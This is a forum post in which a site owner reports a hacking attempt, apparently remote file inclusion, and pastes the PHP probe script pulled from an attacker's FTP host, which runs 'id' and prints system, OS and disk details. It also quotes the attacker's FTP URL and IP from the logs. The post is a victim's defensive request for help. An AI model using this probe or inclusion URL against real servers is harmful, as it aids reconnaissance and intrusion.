Hacking Attempt On Site

I am having issue with my server. Someone is trying to execute some code and possibly trying mysql injection method.

I have pasted the code below.

Please suggest what can be done in this case.

Regards
Gagandeep

+++++++++++

The person tried to use different IPs and different websites to execute the code.

URL >> IP

[url]

[url]

[url]

ftp://212.11.127.86/tmp/trem/1? >> 87.118.118.156

There are many such queries under my logs.

The person is using different IPs, so, i can't even block that many IPs.

++++++++++++

The CODE

<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }

echo "Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "0sirys was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;
?>